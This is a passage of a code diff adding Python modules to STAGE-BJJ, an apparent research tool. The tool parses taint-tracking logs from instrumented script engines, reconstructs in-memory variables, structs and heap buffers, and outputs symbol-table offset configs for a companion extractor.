||||
return ref
|
||||
|
||||
def get_struct(struct_tree, addr):
|
||||
for node in struct_tree:
|
||||
if node.addr == addr:
|
||||
return node.struct
|
||||
|
||||
return None
|
||||
@@ -0,0 +1,27 @@
|
||||
import json
|
||||
import sys
|
||||
|
||||
def load_config(config_file):
|
||||
try:
|
||||
with open(config_file, 'r') as f:
|
||||
config_string = f.read()
|
||||
except FileNotFoundError:
|
||||
print('Error: No such file {}'.format(config_file))
|
||||
return None
|
||||
|
||||
try:
|
||||
config = json.loads(config_string)
|
||||
except json.JSONDecodeError:
|
||||
print('Error: could not decode JSON string {}'.format(config_string))
|
||||
return None
|
||||
except Exception as e:
|
||||
print('Error: unknown error {}'.format(e))
|
||||
return None
|
||||
|
||||
return config
|
||||
|
||||
|
||||
def is_config_valid(config):
|
||||
if 'characteristic_values' not in config.keys():
|
||||
return False
|
||||
return True
|
||||
@@ -0,0 +1,40 @@
|
||||
import logging
|
||||
|
||||
logging.basicConfig(format='[+] %(message)s', level=logging.INFO)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def find_ascii_or_wide_substring(buf, target):
|
||||
target_ascii = target.encode('ascii')
|
||||
target_utf16le = target.encode('utf-16le')
|
||||
|
||||
if isinstance(buf, str):
|
||||
buf_bytes = buf.encode('utf-8', errors='replace')
|
||||
else:
|
||||
buf_bytes = buf
|
||||
|
||||
logger.debug('buf: {}'.format(buf_bytes))
|
||||
logger.debug('target (ASCII): {}'.format(target))
|
||||
logger.debug('target (UTF-16LE): {}'.format(target_utf16le))
|
||||
|
||||
# ASCII search
|
||||
pos = buf_bytes.find(target_ascii)
|
||||
if pos != -1:
|
||||
return pos
|
||||
|
||||
# UTF-16LE search
|
||||
pos = buf_bytes.find(target_utf16le)
|
||||
if pos != -1:
|
||||
return pos
|
||||
|
||||
return None
|
||||
|
||||
def find_symtable_buf(heap_bufs, target_string):
|
||||
found_bufs = []
|
||||
|
||||
for i, buf in enumerate(heap_bufs):
|
||||
pos = find_ascii_or_wide_substring(buf['bytes'], target_string)
|
||||
if pos is not None:
|
||||
found_bufs.append(buf)
|
||||
|
||||
return found_bufs
|
||||
@@ -0,0 +1,117 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from logproc import *
|
||||
import re
|
||||
|
||||
def parse_taint_log(log_content):
|
||||
# TODO: fix a problem that this pattern cannot find the line below
|
||||
# b'trace: memtaint, addr: 0x00007fe66ac977f9, tag: {(2, 3) }, byte: 0x0a, char: '
|
||||
pattern_memtaint = b'trace: (?P<trace>memtaint), addr: (?P<addr>0x[0-9a-f]+), tag: (?P<tag>\{.+\}), byte: (?P<byte>0x[0-9a-f]{2}), char: (?P<char>.?)'
|
||||
pattern_reg = b'trace: (?P<trace>reg), reg: (?P<reg>.+), val: (?P<val>0x[0-9a-f]+)'
|
||||
pattern_stack = b'trace: (?P<trace>stack), stack ptr: (?P<stack_ptr>0x[0-9a-f]+)'
|
||||
|
||||
p_memtaint = re.compile(pattern_memtaint, re.DOTALL)
|
||||
p_reg = re.compile(pattern_reg)
|
||||
p_stack = re.compile(pattern_stack)
|
||||
|
||||
taint_log = []
|
||||
for line in log_content.split(b'\n'):
|
||||
logline = {}
|
||||
|
||||
m = p_memtaint.search(line)
|
||||
if m is not None:
|
||||
try:
|
||||
logline['trace'] = m['trace'].decode('utf-8')
|
||||
logline['addr'] = int(m['addr'], 16)
|
||||
logline['tag'] = m['tag'].decode('utf-8') # need consideration
|
||||
logline['byte'] = int(m['byte'], 16)
|
||||
logline['char'] = m['char']
|
||||
if len(logline['char']) == 0:
|
||||
logline[['char']] = chr(logline['byte'])
|
||||
taint_log.append(logline)
|
||||
except Exception as e:
|
||||
print('could not serialize a log line {}: {}'.format(line, e))
|
||||
continue
|
||||
else:
|
||||
pos_memtaint = line.find(b'memtaint')
|
||||
pos_not_mapped = line.find(b'not mapped')
|
||||
if pos_memtaint != -1 and pos_not_mapped == -1:
|
||||
print('could not parse a log line {}'.format(line))
|
||||
|
||||
m = p_reg.search(line)
|
||||
if m is not None:
|
||||
try:
|
||||
logline['trace'] = m['trace'].decode('utf-8')
|
||||
logline['reg'] = m['reg'].decode('utf-8')
|
||||
logline['val'] = int(m['val'], 16)
|
||||
taint_log.append(logline)
|
||||
except Exception as e:
|
||||
print('could not serialize a log line {}: {}'.format(line, e))
|
||||
continue
|
||||
|
||||
m = p_stack.search(line)
|
||||
if m is not None:
|
||||
try:
|
||||
logline['trace'] = m['trace'].decode('utf-8')
|
||||
logline['stack_ptr'] = int(m['stack_ptr'], 16)
|
||||
taint_log.append(logline)
|
||||
except Exception as e:
|
||||
print('could not serialize a log line {}: {}'.format(line, e))
|
||||
continue
|
||||
|
||||
return taint_log
|
||||
|
||||
def parse_tainted_memaccess_log(log_content, log):
|
||||
pattern_memaccess = b'trace: (?P<trace>memaccess), type: (?P<type>read|write), ip: (?P<ip>0x[0-9a-f]+), target: (?P<target>0x[0-9a-f]+), (base: (?P<base>0x[0-9a-f]+), )?(index: (?P<index>[0-9]+), )?(disp: (?P<disp>0x[0-9a-f]+), )?size: (?P<size>[0-9]+), value: (?P<value>0x[0-9a-f]+)'
|
||||
p_memaccess = re.compile(pattern_memaccess)
|
||||
|
||||
tainted_addrs = tuple(get_tainted_addrs(log))
|
||||
|
||||
memaccess_log = []
|
||||
for line in log_content.split(b'\n'):
|
||||
logline = {}
|
||||
|
||||
m = p_memaccess.search(line)
|
||||
if m is not None:
|
||||
target_addr = int(m['target'], 16)
|
||||
if target_addr in tainted_addrs:
|
||||
try:
|
||||
logline['trace'] = m['trace'].decode('utf-8')
|
||||
logline['type'] = m['type'].decode('utf-8')
|
||||
logline['ip'] = int(m['ip'], 16)
|
||||
logline['target'] = target_addr
|
||||
if m['base'] is not None:
|
||||
logline['base'] = int(m['base'], 16)
|
||||
if m['index'] is not None:
|
||||
logline['index'] = int(m['index'])
|
||||
if m['disp'] is not None:
|
||||
logline['disp'] = int(m['disp'], 16)
|
||||
logline['size'] = int(m['size'])
|
||||
logline['value'] = int(m['value'], 16)
|
||||
memaccess_log.append(logline)
|
||||
except Exception as e:
|
||||
print('could not serialize a log line {}: {}'.format(line, e))
|
||||
|
||||
return memaccess_log
|
||||
|
||||
def parse_heap_alloc_log(log_content):
|
||||
pattern_heap_alloc = b'trace: (?P<trace>heap), type: (?P<type>alloc), addr: (?P<addr>0x[0-9a-f]+), size: (?P<size>[0-9]+)'
|
||||
|
||||
p_heap_alloc = re.compile(pattern_heap_alloc)
|
||||
|
||||
heap_alloc_log = []
|
||||
for line in log_content.split(b'\n'):
|
||||
logline = {}
|
||||
|
||||
m = p_heap_alloc.search(line)
|
||||
if m is not None:
|
||||
try:
|
||||
logline['trace'] = m['trace'].decode('utf-8')
|
||||
logline['type'] = m['type'].decode('utf-8')
|
||||
logline['addr'] = int(m['addr'], 16)
|
||||
logline['size'] = int(m['size'])
|
||||
heap_alloc_log.append(logline)
|
||||
except Exception as e:
|
||||
print('could not serialize a log line {}: {}'.format(line, e))
|
||||
|
||||
return heap_alloc_log
|
||||
@@ -0,0 +1,362 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
import copy
|
||||
import logging
|
||||
import sys
|
||||
|
||||
logging.basicConfig(format='[+] %(message)s', level=logging.INFO)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
def get_init_mem_value(memaccess_log, addr):
|
||||
for logline in memaccess_log:
|
||||
if logline['target'] == addr:
|
||||
if logline['type'] == 'read':
|
||||
return logline['value']
|
||||
elif logline['type'] == 'write':
|
||||
return None
|
||||
else:
|
||||
logger.warning('Unknown memaccess type: {}'.format(logline))
|
||||
return None
|
||||
|
||||
def get_stack_ptr(log):
|
||||
for logline in log:
|
||||
if logline['trace'] == 'stack':
|
||||
return logline['stack_ptr']
|
||||
return None
|
||||
|
||||
def get_reg_values(log):
|
||||
reg = {}
|
||||
for logline in log:
|
||||
if logline['trace'] == 'reg':
|
||||
try:
|
||||
reg[logline['reg']] = logline['val']
|
||||
except Exception as e:
|
||||
logger.error('Could not get reg value: {}'.format(e))
|
||||
sys.exit()
|
||||
|
||||
if len(reg.keys()) == 2:
|
||||
return reg
|
||||
return None
|
||||
|
||||
def get_bytes(log, addr, size):
|
||||
bytes_str = ''
|
||||
for i in range(size):
|
||||
for logline in log:
|
||||
if logline['trace'] == 'memtaint' and logline['addr'] == addr + 7 - i:
|
||||
bytes_str += '{:02x}'.format(logline['byte'])
|
||||
break
|
||||
return bytes_str
|
||||
|
||||
def get_tainted_addrs(log):
|
||||
tainted_addrs = []
|
||||
for logline in log:
|
||||
if logline['trace'] in ('memtaint', 'memtaint_consolidated', 'struct'):
|
||||
tainted_addrs.append(logline['addr'])
|
||||
|
||||
return tainted_addrs
|
||||
|
||||
def get_var_size(memaccess_log, addr):
|
||||
for logline in memaccess_log:
|
||||
if logline['target'] == addr:
|
||||
return logline['size']
|
||||
return None
|
||||
|
||||
def log_has_addr(log, addr):
|
||||
for logline in log:
|
||||
if logline['addr'] == addr:
|
||||
return True
|
||||
return False
|
||||
|
||||
def get_struct(struct_log, addr):
|
||||
for logline in struct_log:
|
||||
if logline['addr'] == addr:
|
||||
return logline
|
||||
return False
|
||||
|
||||
def struct_has_offset(struct, offset):
|
||||
return offset in struct['offsets']
|
||||
|
||||
def get_struct_base(memaccess_log, addr):
|
||||
for logline in memaccess_log:
|
||||
if logline['target'] == addr:
|
||||
return logline['base']
|
||||
return None
|
||||
|
||||
def get_var_addr(var_log, val):
|
||||
addrs = []
|
||||
|
||||
for logline in var_log:
|
||||
if logline['addr'] is not None and logline['bytes'] is not None:
|
||||
if logline['bytes'] == val:
|
||||
addrs.append(logline['addr'])
|
||||
|
||||
return addrs
|
||||
|
||||
def get_var_val(var_log, addr):
|
||||
for logline in var_log:
|
||||
if logline['addr'] == addr:
|
||||
return logline['bytes']
|
||||
return None
|
||||
|
||||
def create_addr_to_size_map(memaccess_log):
|
||||
addr_to_size_map = {}
|
||||
for logline in memaccess_log:
|
||||
addr = logline['target']
|
||||
size = logline['size']
|
||||
addr_to_size_map[addr] = size
|
||||
|
||||
return addr_to_size_map
|
||||
|
||||
def get_var_size(var_log, addr):
|
||||
for logline in var_log:
|
||||
if ((logline['trace'] == 'memaccess' and logline['target'] == addr)
|
||||
or logline['trace'] == 'memtaint_var' and logline['addr'] == addr):
|
||||
return logline['size']
|
||||
return None
|
||||
|
||||
def get_var_size_from_map(addr_to_size_map, addr):
|
||||
if addr in addr_to_size_map.keys():
|
||||
return addr_to_size_map[addr]
|
||||
else:
|
||||
None
|
||||
|
||||
def get_heap_start_addrs(heap_alloc_log):
|
||||
return [x['addr'] for x in heap_alloc_log]
|
||||
|
||||
def create_addr_to_tainted_byte_map(taint_log):
|
||||
addr_to_tainted_byte_map = {}
|
||||
for logline in taint_log:
|
||||
if logline['trace'] == 'memtaint':
|
||||
addr = logline['addr']
|
||||
byte = logline['char']
|
||||
addr_to_tainted_byte_map[addr] = byte
|
||||
|
||||
return addr_to_tainted_byte_map
|
||||
|
||||
def get_tainted_byte(addr_to_tainted_byte_map, addr):
|
||||
if addr in addr_to_tainted_byte_map.keys():
|
||||
return addr_to_tainted_byte_map[addr]
|
||||
else:
|
||||
None
|
||||
|
||||
def generate_init_var_log(var_log, memaccess_log):
|
||||
init_var_log = copy.deepcopy(var_log)
|
||||
|
||||
for i in range(len(var_log)):
|
||||
found = False
|
||||
for logline in memaccess_log:
|
||||
if init_var_log[i]['addr'] == logline['target']:
|
||||
if logline['type'] == 'read':
|
||||
init_var_log[i]['bytes'] = logline['value']
|
||||
init_var_log[i]['size'] = logline['size']
|
||||
init_var_log[i]['chars'] = init_var_log[i]['bytes'].to_bytes(init_var_log[i]['size'], 'little')
|
||||
found = True
|
||||
elif logline['type'] == 'write':
|
||||
init_var_log[i]['bytes'] = None
|
||||
init_var_log[i]['chars'] = None
|
||||
found = True
|
||||
else:
|
||||
logger.warning('Unknown memaccess type: {}'.format(logline))
|
||||
break
|
||||
if not found:
|
||||
logger.warning('Could not find target addr {}'.format(hex(var_log[i]['addr'])))
|
||||
return init_var_log
|
||||
|
||||
def consolidate_vars_into_struct(taint_var_log, memaccess_log):
|
||||
taint_struct_log = []
|
||||
|
||||
for logline in taint_var_log:
|
||||
if logline['trace'] == 'memtaint_var':
|
||||
addr = logline['addr']
|
||||
struct_base = get_struct_base(memaccess_log, addr)
|
||||
struct_offset = addr - struct_base
|
||||
if log_has_addr(taint_struct_log, struct_base):
|
||||
for struct in taint_struct_log:
|
||||
if struct['addr'] == struct_base and struct_offset not in struct['offsets']:
|
||||
struct['offsets'].append(struct_offset)
|
||||
struct['tag'].append(logline['tag'])
|
||||
struct['size'].append(logline['size'])
|
||||
struct['bytes'].append(logline['bytes'])
|
||||
struct['chars'].append(logline['chars'])
|
||||
else:
|
||||
taint_struct_log.append({
|
||||
'trace': 'memtaint_struct',
|
||||
'addr': struct_base,
|
||||
'offsets': [struct_offset],
|
||||
'tag': [logline['tag']],
|
||||
'size': [logline['size']],
|
||||
'bytes': [logline['bytes']],
|
||||
'chars': [logline['chars']]
|
||||
})
|
||||
|
||||
return taint_struct_log
|
||||
|
||||
def consolidate_bytes(taint_log, index, addr, size):
|
||||
bytes_count = 0
|
||||
consolidate = False
|
||||
|
||||
consolidated_bytes = 0
|
||||
i = index - size
|
||||
while i <= len(taint_log):
|
||||
logline = taint_log[i]
|
||||
i = i + 1
|
||||
if logline['trace'] == 'memtaint' and logline['addr'] == addr:
|
||||
consolidate = True
|
||||
|
||||
if consolidate:
|
||||
consolidated_bytes = consolidated_bytes + (logline['byte'] << (8 * bytes_count))
|
||||
bytes_count = bytes_count + 1
|
||||
|
||||
if bytes_count == size:
|
||||
return consolidated_bytes
|
||||
|
||||
return None
|
||||
|
||||
def consolidate_chars(taint_log, index, addr, size):
|
||||
chars_count = 0
|
||||
consolidate = False
|
||||
|
||||
consolidated_chars = b''
|
||||
|
||||
i = index - size
|
||||
while i <= len(taint_log):
|
||||
logline = taint_log[i]
|
||||
i = i + 1
|
||||
if logline['trace'] == 'memtaint' and logline['addr'] == addr:
|
||||
consolidate = True
|
||||
|
||||
if consolidate:
|
||||
consolidated_chars = consolidated_chars + logline['char']
|
||||
chars_count = chars_count + 1
|
||||
|
||||
if chars_count == size:
|
||||
return consolidated_chars
|
||||
|
||||
return None
|
||||
|
||||
def consolidate_bytes_into_var(taint_log, memaccess_log):
|
||||
taint_var_log = []
|
||||
prev_addr = None
|
||||
prev_tag = None
|
||||
start_addr = None
|
||||
|
||||
addr_to_size_map = create_addr_to_size_map(memaccess_log)
|
||||
|
||||
cont_bytes_count = 1
|
||||
for index, logline in enumerate(taint_log):
|
||||
if logline['trace'] == 'memtaint':
|
||||
current_addr = logline['addr']
|
||||
current_tag = logline['tag']
|
||||
|
||||
if prev_addr is None:
|
||||
start_addr = current_addr
|
||||
size = get_var_size_from_map(addr_to_size_map, start_addr)
|
||||
if size is None:
|
||||
logger.debug('Could not find memaccess at {}.'.format(hex(start_addr)))
|
||||
continue
|
||||
prev_addr = current_addr
|
||||
prev_tag = current_tag
|
||||
continue
|
||||
|
||||
if current_addr == prev_addr + 1 and current_tag == prev_tag and cont_bytes_count < size:
|
||||
cont_bytes_count = cont_bytes_count + 1
|
||||
else:
|
||||
consolidated_bytes = consolidate_bytes(taint_log, index, start_addr, cont_bytes_count)
|
||||
consolidated_chars = consolidate_chars(taint_log, index, start_addr, cont_bytes_count)
|
||||
if size != 0:
|
||||
taint_var_log.append({
|
||||
'trace': 'memtaint_var',
|
||||
'addr': start_addr,
|
||||
'tag': prev_tag,
|
||||
'size': cont_bytes_count,
|
||||
'bytes': consolidated_bytes,
|
||||
'chars': consolidated_chars
|
||||
})
|
||||
start_addr = current_addr
|
||||
size = get_var_size_from_map(addr_to_size_map, start_addr)
|
||||
if size is None:
|
||||
# The case in which over-tainting occurs
|
||||
# A base register is always 8-bytes but the propagation target register is not
|
||||
size = 0
|
||||
cont_bytes_count = 1
|
||||
|
||||
prev_addr = current_addr
|
||||
prev_tag = current_tag
|
||||
|
||||
return taint_var_log
|
||||
|
||||
def consolidate_bytes_into_buf(taint_log, heap_alloc_log):
|
||||
consolidated_buf = []
|
||||
|
||||
heap_start_addrs = get_heap_start_addrs(heap_alloc_log)
|
||||
|
||||
prev_addr = None
|
||||
consolidated_bytes = b''
|
||||
for logline in taint_log:
|
||||
if logline['trace'] == 'memtaint':
|
||||
current_addr = logline['addr']
|
||||
current_byte = logline['char']
|
||||
|
||||
if prev_addr is None:
|
||||
if current_addr in heap_start_addrs:
|
||||
buf_base = current_addr
|
||||
consolidated_bytes = consolidated_bytes + current_byte
|
||||
prev_addr = current_addr
|
||||
else:
|
||||
if current_addr == prev_addr + 1 and current_addr not in heap_start_addrs:
|
||||
consolidated_bytes = consolidated_bytes + current_byte
|
||||
prev_addr = current_addr
|
||||
else:
|
||||
buf = {}
|
||||
buf['base'] = buf_base
|
||||
buf['bytes'] = consolidated_bytes
|
||||
buf['size'] = current_addr - buf_base
|
||||
consolidated_buf.append(buf)
|
||||
if current_addr in heap_start_addrs:
|
||||
buf_base = current_addr
|
||||
consolidated_bytes = current_byte
|
||||
prev_addr = current_addr
|
||||
else:
|
||||
prev_addr = None
|
||||
consolidated_bytes = b''
|
||||
|
||||
return consolidated_buf
|
||||
|
||||
def reconstruct_heap_buf(taint_log, heap_alloc_log):
|
||||
bufs = []
|
||||
|
||||
addr_to_tainted_byte_map = create_addr_to_tainted_byte_map(taint_log)
|
||||
|
||||
for logline in heap_alloc_log:
|
||||
heap_base_addr = logline['addr']
|
||||
heap_size = logline['size']
|
||||
|
||||
reconstructed_bytes = b''
|
||||
addr = heap_base_addr
|
||||
while addr <= heap_base_addr + heap_size:
|
||||
tainted_byte = get_tainted_byte(addr_to_tainted_byte_map, addr)
|
||||
if tainted_byte is not None:
|
||||
reconstructed_bytes += tainted_byte
|
||||
else:
|
||||
reconstructed_bytes += b'\x00'
|
||||
addr = addr + 1
|
||||
|
||||
buf = {}
|
||||
buf['base'] = heap_base_addr
|
||||
buf['bytes'] = reconstructed_bytes
|
||||
buf['size'] = heap_size
|
||||
bufs.append(buf)
|
||||
|
||||
return bufs
|
||||
|
||||
def generate_struct_bytes(taint_struct_log, addr):
|
||||
for logline in taint_struct_log:
|
||||
if logline['addr'] == addr:
|
||||
struct_bytes = b'\x00' * (logline['offsets'][-1] + logline['size'][-1])
|
||||
for i in range(len(logline['offsets'])):
|
||||
if logline['chars'][i] is not None:
|
||||
start = logline['offsets'][i]
|
||||
end = logline['offsets'][i] + logline['size'][i]
|
||||
struct_bytes = struct_bytes[:start] + logline['chars'][i] + struct_bytes[end:]
|
||||
return struct_bytes
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from analyze import *
|
||||
from config import *
|
||||
from find import *
|
||||
from logparse import *
|
||||
from logproc import *
|
||||
from output import *
|
||||
from processed import *
|
||||
from print import *
|
||||
import argparse
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
|
||||
logging.basicConfig(format='[+] %(message)s', level=logging.INFO)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
proc_taint_log_file = './processed_log/proc_taint_log.json'
|
||||
proc_taint_var_log_file = './processed_log/proc_taint_var_log.json'
|
||||
proc_memaccess_log_file = './processed_log/proc_memaccess_log.json'
|
||||
proc_heap_alloc_log_file = './processed_log/proc_heap_alloc_log.json'
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
prog='STAGE-BJJ',
|
||||
description='A tool that dynamically analyzes script engines to obtain information of implementation details.',
|
||||
epilog=''
|
||||
)
|
||||
parser.add_argument('log_file', help='a log file generated by Tracer-BJJ.')
|
||||
parser.add_argument('config_file', help='a JSON-formatted config file for STAGER-BJJ.')
|
||||
parser.add_argument('-o', '--output', default='config_out.json', help='an output config file name for Extractor-BJJ.')
|
||||
args = parser.parse_args()
|
||||
|
||||
logger.info('Reading a log file: {}'.format(args.log_file))
|
||||
|
||||
try:
|
||||
with open(args.log_file, 'rb') as f:
|
||||
log_content = f.read()
|
||||
except FileNotFoundError:
|
||||
logger.error('No such file {}'.format(args.log_file))
|
||||
sys.exit()
|
||||
except Exception as e:
|
||||
logger.error('Unexpected error occurred: {}'.format(e))
|
||||
sys.exit()
|
||||
|
||||
logger.info('Done')
|
||||
|
||||
logger.info('Loading a config file: {}'.format(args.config_file))
|
||||
|
||||
config = load_config(args.config_file)
|
||||
if not is_config_valid(config):
|
||||
logger.error('Invalid config')
|
||||
sys.exit()
|
||||
|
||||
logger.info('Done.')
|
||||
|
||||
if os.path.isfile(proc_taint_log_file):
|
||||
logger.info('Processed taint log file exists. Loading: {}'.format(proc_taint_log_file))
|
||||
taint_log = load_proc_taint_log_from_json(proc_taint_log_file)
|
||||
logger.info('Done.')
|
||||
else:
|
||||
logger.info('Parsing taint log...')
|
||||
taint_log = parse_taint_log(log_content)
|
||||
save_proc_taint_log_to_json(taint_log, proc_taint_log_file)
|
||||
logger.info('Done.')
|
||||
|
||||
if os.path.isfile(proc_memaccess_log_file):
|
||||
logger.info('Processed memory access log file exists. Loading: {}'.format(proc_memaccess_log_file))
|
||||
memaccess_log = load_proc_log_from_json(proc_memaccess_log_file)
|
||||
logger.info('Done.')
|
||||
else:
|
||||
logger.info('Parsing memory access log...')
|
||||
memaccess_log = parse_tainted_memaccess_log(log_content, taint_log)
|
||||
save_proc_log_to_json(memaccess_log, proc_memaccess_log_file)
|
||||
logger.info('Done.')
|
||||
|
||||
if os.path.isfile(proc_heap_alloc_log_file):
|
||||
logger.info('Processed heap allocation log file exists. Loading: {}'.format(proc_heap_alloc_log_file))
|
||||
heap_alloc_log = load_proc_log_from_json(proc_heap_alloc_log_file)
|
||||
logger.info('Done.')
|
||||
else:
|
||||
logger.info('Parsing heap allocation log...')
|
||||
heap_alloc_log = parse_heap_alloc_log(log_content)
|
||||
save_proc_log_to_json(heap_alloc_log, proc_heap_alloc_log_file)
|
||||
logger.info('Done.')
|
||||
|
||||
# unify_addr_bak(taint_log, memaccess_log)
|
||||
print_taint_src_reg_values(taint_log)
|
||||
# detect_arg_struct_semantics(taint_log)
|
||||
|
||||
# struct_log = consolidate_log_into_struct(taint_log)
|
||||
if os.path.isfile(proc_taint_var_log_file):
|
||||
logger.info('Processed tainted variable log file exists. Loading: {}'.format(proc_taint_var_log_file))
|
||||
taint_var_log = load_proc_taint_var_log_from_json(proc_taint_var_log_file)
|
||||
logger.info('Done.')
|
||||
else:
|
||||
logger.info('Rebuilding tained variables...')
|
||||
taint_var_log = consolidate_bytes_into_var(taint_log, memaccess_log)
|
||||
save_proc_taint_var_log_to_json(taint_var_log, proc_taint_var_log_file)
|
||||
logger.info('Done.')
|
||||
|
||||
structs = build_struct(memaccess_log)
|
||||
arrays = build_array(memaccess_log)
|
||||
|
||||
reg_values = get_reg_values(taint_log)
|
||||
|
||||
init_taint_var_log = generate_init_var_log(taint_var_log, memaccess_log)
|
||||
|
||||
target_vals = []
|
||||
for target_val in config['characteristic_values']:
|
||||
if isinstance(target_val, str):
|
||||
heap_bufs = reconstruct_heap_buf(taint_log, heap_alloc_log)
|
||||
found_bufs = find_symtable_buf(heap_bufs, target_val)
|
||||
|
||||
for buf in found_bufs:
|
||||
target_vals.append(buf['base'])
|
||||
else:
|
||||
target_vals.append(target_val)
|
||||
|
||||
trees = []
|
||||
paths = []
|
||||
for target_val in target_vals:
|
||||
logger.info('Search target: {}'.format(hex(target_val)))
|
||||
|
||||
addrs = get_var_addr(init_taint_var_log, target_val)
|
||||
if len(addrs) == 0:
|
||||
logger.error('Search target {} not found.'.format(hex(target_val)))
|
||||
continue
|
||||
addr = addrs[0]
|
||||
logger.info('Search target {} found at {}.'.format(hex(target_val), hex(addr)))
|
||||
|
||||
tree = build_struct_tree(structs, init_taint_var_log, addr)
|
||||
|
||||
for reg, reg_val in reg_values.items():
|
||||
path = get_struct_ref_path(tree, reg_val)
|
||||
|
||||
if path is not None:
|
||||
buf = 'Found reference path: {}'.format(reg.upper())
|
||||
for node in path:
|
||||
buf = '{} ({}, +{})'.format(buf, hex(node.struct.base), hex(node.offset))
|
||||
logger.info(buf)
|
||||
|
||||
logger.info('====================')
|
||||
for node in path:
|
||||
print_node(node)
|
||||
logger.info('====================')
|
||||
|
||||
trees.append(tree)
|
||||
paths.append(path)
|
||||
|
||||
for tree, path in zip(trees, paths):
|
||||
ref = build_ref_info(tree, path, reg_values)
|
||||
logger.info(ref)
|
||||
|
||||
with open(args.output, 'w') as f:
|
||||
f.write(dump_output_config(ref, config))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,27 @@
|
||||
import json
|
||||
|
||||
def dump_output_config(ref, config):
|
||||
output = {}
|
||||
|
||||
if ref.start_reg == 'rdi':
|
||||
output['management_structure_index'] = 0
|
||||
elif ref.start_reg == 'rsi':
|
||||
output['management_structure_index'] = 1
|
||||
|
||||
symbol_tables = []
|
||||
symbol_table = {}
|
||||
symbol_table['forward_link_offset'] = 0
|
||||
|
||||
symbol_table['reference_offsets'] = []
|
||||
for offset in ref.ref_offsets:
|
||||
if isinstance(offset, dict):
|
||||
symbol_table['reference_offsets'].append(offset['offset'])
|
||||
else:
|
||||
symbol_table['reference_offsets'].append(offset)
|
||||
symbol_table['type'] = 2
|
||||
symbol_table['scope'] = 0
|
||||
symbol_tables.append(symbol_table)
|
||||
|
||||
output['symbol_tables'] = symbol_tables
|
||||
|
||||
return json.dumps(output, indent=4)
|
||||
@@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from logproc import *
|
||||
|
||||
def print_struct(log, addr, size, reg_val, tainted_addrs):
|
||||
print('')
|
||||
for i in range(size):
|
||||
if i % 8 == 0:
|
||||
bytes_str = get_bytes(log, addr + i, 8)
|
||||
bytes_int = int(bytes_str, 16)
|
||||
if bytes_int in reg_val.values():
|
||||
for reg, val in reg_val.items():
|
||||
if bytes_int == val:
|
||||
print('{:#018x} {}\t{}'.format(addr + i, bytes_str, reg))
|
||||
elif bytes_int in tainted_addrs:
|
||||
print('{:#018x} {}\t*'.format(addr + i, bytes_str))
|
||||
else:
|
||||
print('{:#018x} {}'.format(addr + i, bytes_str))
|
||||
|
||||
def print_init_struct(memaccess_log, addr, size, reg_val, tainted_addrs):
|
||||
print('')
|
||||
print(size)
|
||||
for i in range(size):
|
||||
if i % 8 == 0:
|
||||
if size - i > 8:
|
||||
member_size = 8
|
||||
else:
|
||||
member_size = size - i
|
||||
val = get_init_mem_value(memaccess_log, addr + i)
|
||||
if val is None:
|
||||
print('{:#018x} not assigned'.format(addr + i))
|
||||
else:
|
||||
fmt_str = '{addr:#018x} {val:0{digit}x}'.format(addr=addr + i, digit=member_size * 2, val=val)
|
||||
if val == reg_val['rdi']:
|
||||
fmt_str += '\trdi'
|
||||
elif val == reg_val['rsi']:
|
||||
fmt_str += '\trsi'
|
||||
elif val in tainted_addrs:
|
||||
fmt_str += '\t*'
|
||||
print(fmt_str)
|
||||
|
||||
def print_taint_src_reg_values(log):
|
||||
reg_values = get_reg_values(log)
|
||||
for reg, val in reg_values.items():
|
||||
print('{}: {:#018x}'.format(reg.upper(), val))
|
||||
|
||||
def print_node(node):
|
||||
print('ID: {}'.format(node.id))
|
||||
print('Parent: {}'.format(node.parent))
|
||||
print('Childs: {}'.format(node.childs))
|
||||
print('Address: {:#018x}'.format(node.addr))
|
||||
print('Value: {val:#0{digit}x}'.format(digit=node.size * 2 + 2, val=node.val))
|
||||
print('Size: {}'.format(node.size))
|
||||
print('Struct base: {:#018x}'.format(node.struct.base))
|
||||
print('Struct offset: {:#x}'.format(node.offset))
|
||||
@@ -0,0 +1,56 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
import json
|
||||
|
||||
def save_proc_taint_log_to_json(taint_log, proc_taint_log_json_file):
|
||||
taint_log_for_json = []
|
||||
for logline in taint_log:
|
||||
if logline['trace'] == 'memtaint':
|
||||
taint_log_for_json.append({
|
||||
'trace': logline['trace'],
|
||||
'addr': logline['addr'],
|
||||
'tag': logline['tag'],
|
||||
'byte': logline['byte'],
|
||||
'char': ''
|
||||
})
|
||||
else:
|
||||
taint_log_for_json.append(logline)
|
||||
save_proc_log_to_json(taint_log_for_json, proc_taint_log_json_file)
|
||||
|
||||
def load_proc_taint_log_from_json(proc_taint_log_json_file):
|
||||
taint_log = load_proc_log_from_json(proc_taint_log_json_file)
|
||||
for i in range(len(taint_log)):
|
||||
if taint_log[i]['trace'] == 'memtaint':
|
||||
taint_log[i]['char'] = taint_log[i]['byte'].to_bytes(1, 'little')
|
||||
return taint_log
|
||||
|
||||
def save_proc_taint_var_log_to_json(taint_var_log, proc_taint_var_log_json_file):
|
||||
taint_var_log_for_json = []
|
||||
for logline in taint_var_log:
|
||||
if logline['trace'] == 'memtaint_var':
|
||||
taint_var_log_for_json.append({
|
||||
'trace': logline['trace'],
|
||||
'addr': logline['addr'],
|
||||
'tag': logline['tag'],
|
||||
'size': logline['size'],
|
||||
'bytes': logline['bytes'],
|
||||
'chars': ''
|
||||
})
|
||||
else:
|
||||
taint_var_log_for_json.append(logline)
|
||||
save_proc_log_to_json(taint_var_log_for_json, proc_taint_var_log_json_file)
|
||||
|
||||
def load_proc_taint_var_log_from_json(proc_taint_var_log_json_file):
|
||||
taint_var_log = load_proc_log_from_json(proc_taint_var_log_json_file)
|
||||
for i in range(len(taint_var_log)):
|
||||
if taint_var_log[i]['trace'] == 'memtaint_var':
|
||||
taint_var_log[i]['chars'] = taint_var_log[i]['bytes'].to_bytes(taint_var_log[i]['size'], 'little')
|
||||
